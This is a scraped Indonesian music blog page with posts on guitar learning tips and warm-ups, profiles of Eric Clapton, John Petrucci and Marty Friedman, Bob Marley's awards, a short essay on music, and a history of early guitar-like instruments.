Honors and Awards Bestowed Upon Bob Marley:

Among the awards and honors that have been given to Bob Marley are a spot in the Rock and Roll Hall of Fame and a Grammy Lifetime Achievement Award. His songs and albums have also won numerous honors, such as Time Magazine's Album of the Century (for Exodus) and BBC's Song of the Millenium for "One Love".



Photobucket

Bermain n Belajar gitar bersama

4 komentar

Siapa sih yang ngga kenal dengan alat musik gitar?
Di dunia ini orang sudah cukup akrab dengan alat musik yang satu ini, setiap hari mungkin orang mendengarnya dimainkan oleh orang-orang di sekitar mereka, atau mungkin dari media-media yang mereka punyai.

Di sini aku ngga mau panjang lebar berkata-kata alias basa basi, karena nanti pasti basi omonganku ini :P
Ini aku pengen mengupas sedikit bagaimana cara bermain gitar mulai dari dasar sampai mahir, lumayan nih, kemarin abis mbaca-mbaca di internet dan tak bandingin dengan apa yang aku peroleh selama ini, khususnya belajar bermain gitar.


Berikut tips dan triknya:

1. Tingkat Dasar (Tahap Awal)
Secara umum untuk bisa memahami dan memainkan gitar kita perlu mempersiapkan beberapa hal, diantaranya:
* Teori musik dasar secara umum, seperti cord gitar dan tangga nada musik, tangga nada baik # maupun b (mol). Pelajari kord gitar yang mudah, misalkan C, Dm, Em, F, G, Am, untuk tahap sampai menghafal kord, kita ngga usah perdulikan tangga nada musik;
* Mengetahui cara menggunakan gitar dan kegunaannya. Setelah menghafal kord-kord tadi, coba belajar memainkan perpaduan-perbaduan dari kord, maksudnya, belajar memainkan gitar dengan pindah dari kord 1 ke kord berikutnya, misal C Em F G, begitu seterusnya
* Belajar stem gitar sendiri
Stem gitar mudah dilakukan, untuk cara menstem gitar ada di tutorial Cara Menstem Gitar yang praktis.
2. Tingkat Menengah (Tahap Medium)
Kalau hanya sekedar ingin tampak hebat di mata orang-orang sekitar, cukup kuasai poin 1 + sebagian atau seluruh teknik dan kord2 dasar atau yang lebih komplek lagi.
Misal :
* Cukup terapin kord C,D,E,F,G,A,B dan minornya:# maupun b;
* Penjarian jari kiri dan gerakan jari kanan, penjarian di sini maksudnya kita belajar meletakkan jari-jari kita secara pas saat kita bermain dengan kord-kord yang berpindah-pindah;
* Pelajari pola dan skala dasar pada gitar dari nada dasar C = 0 sampai dengan B baik minor maupun mayor serta kenaikan penurunan dari nada dasar.
3. Tingkat Mahir
Terbagi menjadi 2 dan saling berkaitan, tidak ada yang saling mendahului untuk diutamakan:
* Belajar Teori, meliputi:
o Mempelajari cara membaca not balok atau not standar (kalo bisa) dan wajib not gitar (tablature);
o Perdalami skala nada pada gitar seperti: harmonic minor, pentatonic, kromatic, Blues1 dan 2,jazz mayor dan minor, hindu, japanese, slendro (jawa), pelog (jawa), dsb (mencapai seribu lebih macam dan variasinya).
* Memperdalam Teknik
Inilah yang paling kelihatan beres tidaknya dalam kita belajar maen gitar termasuk penerapan teori diatas seperti:
o Penjarian (peletakan jari-jari dengan tepat pada not yang akan kita tekan dan menghasilkan bunyi yang sempurna);
o Penerapan teknik dan teori khusus, seperti: Picking dengan berbagai jenisnya, genjreng, streaming, bending, pull, hammer, slide, trill, sweeping, muting, dsb;
o Improvisasi, misalkan kalau kita sedang maen-maen dengan suatu lagu, coba kita improvisasi mengirinya dengan melodi-melodi dari kita sendiri;
o Mencoba mengaransemen berbagai jenis dan aliran musik.

Adapun sebelum bermain gitar alangkah lebih baik jika kita melakukan pemanasan terlebih dahulu, supaya jari-jari kita khususnya dan badan kita enak buat nggenjreng ataupun bermelodi ria, berikut beberapa pemanasan yang dapat dilakukan:

1. Senam anggota badan dari leher, lengan pundak, pergelangan dan engsel tangan, ruas jari. emang dibutuhkan bwt memperlancar peredaran darah ke otak dan untuk kelenturan (dari Metode Bermain Melodi Rock, Inung);
2. Senam jari kanan dan kiri. banyak macamnya sayangnya susah dijelaskan dengan kata2, untuk senam jari ada di tulisan Senam Jari untuk pemanasan bermain gitar;
3. Senam lain, cukup aneh, seperti memainkan kord2 dengan jari tangan kiri diikat kencang dgn gelang karet, hehehehe, cukup sakit lho :D

Ok temans, di atas adalah sedikit info semoga dapat bermanfaat bagi kita semua yang pengen maen gitar secara mahir dan profesional.
Jika ada tambahan akan saya tulis di blog saya ini.


Photobucket

eric clapton profile

1 komentar

Name: Eric Clapton
Birth Name: Eric Patrick Clapton
Height: 5' 11½''
Sex: M
Nationality: British
Birth Date: March 30, 1945
Birth Place: Ripley, Surrey, England, UK
Profession: Composer, Actor, Producer
Education: Kingston Art School Kingston-upon-Thames England UK
Husband/Wife: Melia McEnery (graphic artist; Irish and Korean heritage; met in 1999; married on January 1, 2002), Patricia Anne Boyd (actress, model; married on March 27, 1979; divorced in June 1988; ex-wife of former Beatle George Harrison)
Relationship: Lori Del Santo (Italian TV actress), Yvonne Kelly, Sheryl Crow (musician, dated in 1996)
Father: Edward Fryer (Canadian soldier)
Mother: Patricia Molly Clapton
Half Brother: Ted Rich (guitarist; father: Edward Fryer)
Grand Father: Jack Clapp (Rose's second husband)
Grand Mother: Rose Clapp
Son: Conor Clapton (born on August 21, 1986; died on March 20, 1991, as a result of a fall from the 53rd floor of a NYC condo; mother: Lori Del Santo)
Daughter: Ella May (born on January 14, 2003; mother Melia McEnery), Julie Rose (born on June 12, 2001; mother: Melia McEnery), Ruth Kelly (born in 1985; mother: Yvonne Kelly)


Photobucket

PROFIL JOHN PETRUCCI

0 komentar

Nama Lengkap: John Peter Petrucci
Website Resmi: JohnPetrucci.com
Group Band Sebelumnya: Majesty
Gitar: Ernie Ball Musicman, Ibanez
Tempat Lahir: Long Island, New York 12 Juli 1967
Pengaruh Permainan: Steve Morse, Allan Holdsworth, Yngwie Malmsteen, Metallica, Eddie Van Halen
Zodiac: Cancer
Tempat Tinggal: New York
Status: Menikah
Keahlian: String Skipping, Chromatic Scales, Arpegio, Matrix Modulation, Tapping, dll…

John besar di Long Island, tepatnya di King park, dimana dia, john myung & Kevin moore bersekolah bersama. John mulai Belajar gitar ketika masih berumur 12 tahun (sebelumnya dia pernah belajar ketika berumur 8 tahun tetapi menyerah ketika Dia melihat kakak perempuannya harus begadang tiap malam belajar main organ. Dia tidak merencanakan untuk menjadi seperti Itu, Dia belajar gitar sepulang sekolah dan akhirnya dia menjadi tidak tertarik lagi). Namun dia mulai banyak terpengaruh Oleh permainan gitar dari gitaris semacam yngwie malmsteen, randy rhoads, iron maiden, steve ray Vaughn, dan grup besar Semacam yes, rush, Dixie dregs dan lain lain dia mulai bertekad untuk mencapai level permainan seperti mereka.

Sebagaimana kemunculan musik trash metal yang membuat John tertarik, maka John juga memperluas influence nya dengan Mendengarkan Metallica & Queensryche. John merasa membutuhkan tantangan yang lebih dalam tehnik guitar oleh karena itu Dia banyak mengadaptasi hammering speed & melodic style dari gitaris-gitaris seperti Steves (Steve Morse & Steve Vai), The Als (Allan Holdsworth & Al Dimeola) Mike Stern, Joe Satriani, Neal Schon & Eddie Van Halen.

Pendidikan musiknya dimulai dengan berbagai kelas teori musik yang dia ambil ketika high school. Dia belajar secara otodidak, tetapi Dia sempat menerima beberapa pelajaran gitar yang dia ambil ketika dia masuk ke Berklee College of Music di Boston, dimana dia Mempelajari komposisi jazz dan harmoni. Ketika di Berklee John Petrucci dan John Myung yang juga belajar di berklee bertemu dengan Mike Portnoy, dan mereka mulai membuat band yang diberi nama Majesty yang nantinya kemudian berganti nama menjadi Dream Theater. John sudah merekam 7 album dengan Dream Theater, dan dia juga banyak terlibat dengan beberapa proyek sampingan seperti Liquid Tension Experiment Dengan Tony Levin, Age of Impact, dan bahkan game Sega Saturn yang disebut Necronomicon, dan juga terakhir dia terlibat dalam proyek G3 Bersama Joe Satriani dan Steve Vai. Kecintaan dia pada menulis lirik dikombinasikan dengan gaya komposisi yang unik dari progressive fusion Mengasah bentuk musik dari Dream Theater.

John tinggal bersama istrinya Rena, dan 3 anaknya SamiJO, Reny, dan Kiara di New York. Ketika dia tidak bermain gitar dia banyak menghabiskan Waktunya dengan istri dan anak-anaknya dengan bermain skating, bersepeda, berolahraga dan menonton film.

John sedang merencanakan membuat solo albumnya yang pertama. Lagu-lagu barunya yang dia mainkan ketika bersama G3 juga akan ada di solo album tersebut: Jaws of Life , Damage Control and Glasgow Kiss. Dia melibatkan beberapa musisi seperti Dave LaRue pada bass, Dave DiCenso dan Tony Verderosa pada drum.

John Petrucci merupakan salah satu motor dari Dream Theater, super grup band yang sudah sangat mendunia. Peranan di dalam tubuh Dream Theater lebih didominasi oleh John Petrucci dan Mike Portnoy misalnya saja dalam pembuatan lagu dan produksi.

Dialah John Petrucci….sosok yang sangat powerfull ketika dia memainkan gitarnya di atas panggung. Skill dan kualitas musiknya sudah tidak di ragukan lagi sehingga dia pantas untuk mendapat julukan dewa gitar.

Aktivitasnya sekarang ini masih disibukkan dengan tour-tour keliling dunia bersama grup band yang ia besarkan. Setelah setahun tour, biasanya John Petrucci juga mulai mempersiapkan konsep-konsep baru untuk mengisi album terbaru Dream Theater setelah album studio ke 9 Dream Theater muncul di tahun 2007 silam bertitle Systematic Chaos dan dilanjutkan dengan Chaos in Motion di tahun 2008 yang merupakan materi-materi tour keliling dunia.


Photobucket

Marty Friedman profile

0 komentar


Marty Friedman (born December 8, 1962 in Washington, D.C.) has become recognized worldwide as a guitarist and composer of consummate skill and a style of playing that is instantly recognizable as uniquely his. Marty is a self-taught guitarist famous for his natural improvisation abilities and for pioneering the fusion of exotic Eastern musical scales with Western musical styles such as neo-classical, thrash metal and later on into rock, pop, jazz, metal and anything in between. Going beyond traditional scales, Marty often arpeggiates the chords he is playing over, his picking technique is unorthodox and his bends and vibrato are very distinctive.

He was the lead guitarist for the thrash metal band Megadeth for a period of almost ten years (from February 1990 to December 1999). During this period, perhaps its most successful, Megadeth released a string of gold and platinum albums. At the same time, Megadeth’s musical style became less Thrash, and more melodic, which many attribute primarily to Marty’s creative influence.

Prior to joining Megadeth, he formed and played lead guitar in several bands that attained loyal and faithful followings, including Deuce, Hawaii, Vixen (not the all-female band of the same name), and notably Cacophony. Marty collaborated with Jason Becker on two albums, “Go Off” and “Speed Metal Symphony” that are considered masterpieces and works of reference for pure virtuoso and creative guitar playing.


Photobucket

mUziikk

0 komentar

Musik adalah rangkaian dari nada-nada yang diatur dengan ketukan/beat, pada dasarnya di dunia nada sendiri yang banyak orang tahu cuma 7 nada bagi kalangan pemusik setahuku bisa sampai 12 nada selanjutnya adalah OKTAF yang membedakan tinggi rendahnya dari suatu nada. Dengan jumlah nada tersebut telah melahirkan berjuta-juta bahkan bermilyar-milyar lagu yang dapat di ciptakan.

Menurut pendapat saya pribadi pada intinya musik adalah bermain dengan nada dan tempo/ ketukan/ beat, kenapa bisa dikatakan demikian, kita bisa membandingkan dengan beberapa lagu yang mempunya kunci rhytem yang hampir sama atau bisa dikatakan sama, akan tetapi lagu yang tercipta terasa berbeda, ini dikarenakan perputaran dari nada-nada tersebut berbeda ketukanya, padahal kuncinya sama kaya gitu gitu aja. Mungkin bagi orang yang pernah belajar/ sekolah musik tahu tentang masalah ketukan musik 2/4, 3/4, 4/4 dan masih banyak lagi.


Dengan tempo nada seperti inilah akhirnya muncul berbagai macam jenis musik yang akhirnya meramaikan jenis aliran musik didunia ini, dikarenakan beberapa orang yang memiliki selera/ kesukaan yang sama maka lahirlah aliran musik tersebut, contohnya seperti pop, punk, grunge, rock, hard rock, alternative, progresif rock metal, speed metal dan masih banyak lagi jenis aliran musik didunia ini. Coba perhatikan ketukan / beat lagu dari masing-masing aliran tersebut, hampir sama bukan meskipun banyak nama grup band yang membawakan lagu dari salah satu jenis aliran musik tersebut, tetapi karakter, tempo, dari jenis aliran musik adalah sama. Karena itulah musik saya katakan bermain dengan tempo dan nada, meskipun memiliki ada beberapa lagu yang mempunyai kunci sama kalau di mainkan dengan ketukan/ tempo yang berbeda hasilnya akan berbeda.



Photobucket

History Guitar

0 komentar


Artikel ini akan bercerita tentang sejarah yang diketahui tentang instrumen gitar sebelum tahun 1650. Disebut yang diketahui karena banyak evolusi tentang instrumen ini tidak diketahui tetapi hanya diambil dari gambar-gambar, pahatan dan lain-lainnya.

Alat musik Lute dari Eropa akan menjadi awalnya. Alat musik ini dikembangkan dari alat musik Arab yang bernama Oud dan memiliki antara 12 sampai 24 senar dimana alat musik ini dimainkan dengan memetik sepasang senar untuk 1 nada (seperti Anda memainkan gitar 12-senar). Senarnya dibuat dari catgut (sheep intestine) dan fretnya dibuat dari catgut yang diikat di seputar fingerboard/neck dengan beberapa fret dari kayu atau gading yang dilekatkan pada ujung atas soundboardnya. Fret dan soundboard memiliki ketinggian yang sama, berbeda dengan fret gitar jaman modern yang pada umumya lebih tinggi dari soundboardnya dan banyak inlay nya yang merupakan ornamen-ornamen. Bentuk instrumen ini menyerupai buah pir dan dibulatkan belakangnya seperti setengah bentuk buah melon. Bridge nya tidak memiliki saddle dan tuning head nya mirip dengan biola.

Theorbo merupakan variasi dari lute dengan beberapa extra senar. Perbedaannya dengan lute adalah bahwa Theorbo memiliki senar extra seperti tersebut diatas dan tuning head yang sejajar dengan necknya, dimana tuning head untuk lute mirip dengan biola. Nada-nadanya mencakup nada bass-bariton.

Arch lute merupakan instrumen yang mirip dengan lute tetapi Arch lute lebih condong ke arah melodi daripada lute.

Lute biasa distem dengan nada-nada tinggi. Jika gitar jaman sekarang distem di E, lute distem di A yang merupakan dua setengah nada lebih tinggi daripada E.

Lute bisa distem dan dimainkan sama dengan gitar (finger picking atau pick). Ini dinamakan new tuning. Bisa juga pasangan senar yang ketiga dari lute distem turun setengah nada dari new tuning. Steman untuk lute juga tidak distandardisasi sebelum pertengahan tahun 1700an. Para pemain bisa menyetemnya sesuai dengan kemauan mereka. Jadi tidak harus distem di A.

Lute sendiri bukan merupakan nenek moyang langsung dari gitar, tetapi merupakan satu dari pendahulunya. Yang penting disini adalah bahwa lute memberikan kontribusi besar kepada perkembangan gitar sampai kepada bentuknya yang sekarang ini. Dan di Spanyol, dimana gitar benar-benar dikembangkan, lute sering disamakan dengan moor yang menyebabkan lute tidak begitu populer.

Instrumen lain yang tidak kalah kontribusinya dalam perkembangan gitar adalah instrumen Cittern. Instrumen ini juga berbentuk menyerupai buah pir dengan bagian belakang yang rata, dengan empat atau lima pasang senar dari kawat dan dengan fretting yang permanen apakah itu diatonik seperti Appalachian Dulcimer ataupun chromatic seperti gitar modern. Tuning head sudah dipasang mirip seperti pada gitar atau mandolin. Stemannya sama dengan mandolin (in fifths) dengan fingering dan chord yang sama dan dimainkan dengan plectrum atau pick.

Guitarra Moresca merupakan instrumen dengan 4 pasang senar dengan bentuk oval menyerupai telur dan fretboardnya dilapisi dengan kulit seperti pada banjo. Popularitas instrumen ini adalah pada abad ke-13.

Guitarra Latina juga merupakan instrumen dengan 3 atau 4 pasang senar dengan bentuk body yang kecil menyerupai ukulele bariton dan gitar parlor. Instrumen ini cukup populer di abad ke-13. Fretboard nya dibuat dari kayu tetapi sisanya menyerupai Guitarra Moresca.

Guittern merupakan instrumen dengan 5 pasang senar dan dimainkan dengan fingerpicking atau pick. Bentuknya bervariasi tetapi yang paling umum adalah seperti bentuk biola dan mempunyai bridge dan tailpiece yang bisa digerakkan untuk mengencangkan senar, walaupun kadangkala senar dikencangkan di bridge yang tanpa saddle. Setiap pasang senar distem menurut unison tapi kadang-kadang disetem secara oktaf.

Chittarra Battente adalah instrumen yang menggunakan senar kawat dan mempunyai soundboard yang sudutnya dibuat ke belakang body. Populer di tahun 1500an dan menggunakan fret permanen dari besi.

Bandora merupakan variasi dari cittern dengan bagian body belakang yang rata dan berbentuk mirip dengan A-Style mandolin.

Vihuela De Mano berasal dari Spanyol dan merupakan instrumen dengan enam pasang senar. Bodynya cukup besar seperti gitar klasik jaman sekarang dan mempunyai beberapa lubang suara di atasnya. Instrumen ini menggunakan fixed bridge dan kemungkinan merupakan nenek moyang langsung dari gitar 12 senar USA yang masuk ke Amerika Utara melalui Mexico, Texas dan Louisiana.

Four Course Guitar memiliki 4 pasang senar, body berbentuk gitar dan soundboard yang rata, bridge dari lute dan bagian belakang dibuat setengah melengkung tetapi tidak terlalu membentuk bulatan. Instrumen ini berukuran seperti gitar anak-anak.

Five Course Guitar muncul sekitar tahun 1490 dan mirip dengan four course guitar dengan tambahan satu pasang senar bass. Instrumen ini dinamakan juga English Guitar.

Baroque Guitar muncul pada awal abad ke-17. Gitar ini menggunakan senar nilon, mempunyai body yang panjang dan slim dengan bagian atas dan bawah yang sama besarnya. Tuning headnya dibuat dari kayu dan dipasang seperti pada gitar klasik. Fretnya apakah terbuat dari kayu, metal ataupun gading adalah permanen.

Semua instrumen yang tersebut diatas kebanyakan mempunyai fingerboard yang sama tingginya dengan soundboardnya. Fingerboard yang dinaikkan seperti sekarang ini belum ada sampai dengan adanya Parlor Guitars.

Six String Guitar gitar yang sebenarnya, belum berkembang sampai dengan tahun 1750.

Parlor Guitars sangat mirip dengan Baroque Guitar dengan perkecualian bahwa tuning untuk Parlor Guitars biasanta lebih mekanikal. Kira-kira setelah 1820, bagian bawah body dibuat lebih besar dari bagian atasnya. Gitar ini mirip dengan Washburn tahun 1887.

Gitar klasik modern yang kita lihat sekarang ini belum berkembang sampai tahun 1840 di Spanyol.



Photobucket

 

..::SITUS RESMI BAND INDIE::.. Copyright © 2008 Black Brown Pop Template by Ipiet's Blogger Templatedesign by army ulasthree